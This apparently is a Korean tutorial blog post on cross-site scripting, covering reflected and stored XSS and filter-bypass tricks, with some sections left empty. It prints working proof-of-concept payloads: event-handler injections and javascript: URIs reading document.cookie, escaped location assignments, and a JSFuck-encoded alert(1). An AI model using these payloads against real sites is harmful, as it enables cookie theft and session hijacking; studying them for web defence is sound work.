XSS란?
Cross Site Scripting의 약자로 CSS라고 불리는게 맞으나 Cascading Style Sheets의 약자로 널리 쓰이고 있어 혼동을 피하기 위해서 XSS라고 부릅니다.
XSS는 악성 스크립트를 웹 브라우저를 통해 실행시키는 취약점입니다.
XSS의 종류는 크게 3가지가 있는데 아래와 같습니다.
- Reflected XSS
- Stored XSS
- DOM-Based XSS
Reflected XSS
Reflected XSS는 악성 스크립트가 담긴 요청을 수행 할 때 발생하는 XSS입니다.
Example
아래와 같이 URL의 파라미터를 통해 XSS구문을 입력 후 요청하자 XSS 구문이 동작하는 것을 알 수 있습니다.

Stored XSS
Stored XSS는 악성 스크립트가 서버에 저장되어 서버의 응답에 담겨오는 XSS입니다.
Example
아래와 같이 글을 저장 할 수 있는 곳에 XSS 구문을 입력하여 저장을 해주었습니다.

XSS가 담긴 글을 조회하게 되면 아래와 같이 XSS구문이 동작하는 것을 볼 수 있습니다.

Bypass XSS Filter
Event Handler
이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리할 수 있는 callback 형태의 함수입니다.
대표적으로
onload
, onerror
, onfocus
가 자주 사용됩니다.onload
태그가 요청하는 데이터가 성공적으로 로드 시 실행됩니다.
<img src="정상적인 이미지 주소" onload=alert(document.cookie)>
onerror
태그가 요청하는 데이터가 로드되지 않았을 경우 실행됩니다.
<img src=”비정상적인 이미지 주소” onerror=alert(document.cookie)
onfocus
<input>
, <textarea>
, <select>
, <button>
등 태그에 커서를 클릭하게 되면 실행됩니다.<input onfoucs=alert(document.cookie) type=text id=inputID>
문자열 치환
JavaScript Schemes
URI Scheme는 URL 로드 시 자바스크립트 코드를 실행할 수 있습니다.
URL을 속성 값으로 받는
<a>
, <iframe>
태그 등에 사용할 수 있습니다.JavaScript는
()
, `
를 사용하여 함수를 호출하는데 JavaScript Scheme를 사용하면 우회할 수 있습니다.Example
<a href="javascript:alert(document.cookie)">bobong</a> <iframe src="javascript:alert(document.cookie)"> location="javascript:alert\x28document.domain\x29;"; location.href="javascript:alert\u0028document.domain\u0029;"; location['href']="javascript:alert\050document.domain\051;";
특수문자 포함
HTML Entity Encoding
Unicode escape sequence
Computed member access
JSFuck
JSFfuck를 사용하면 JS를 6개의 문자를 통해서 표현이 가능합니다.
Example
alert(1)
를 JSFuck을 이용해 인코딩하면 아래와 같다.[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
Template Literals
RegExp
String.fromCharCode
내장 함수 및 객체의 문자 사용
진수 변환 이용
XSS Cheat Sheet
xss-payload-list
payloadbox • Updated Mar 27, 2024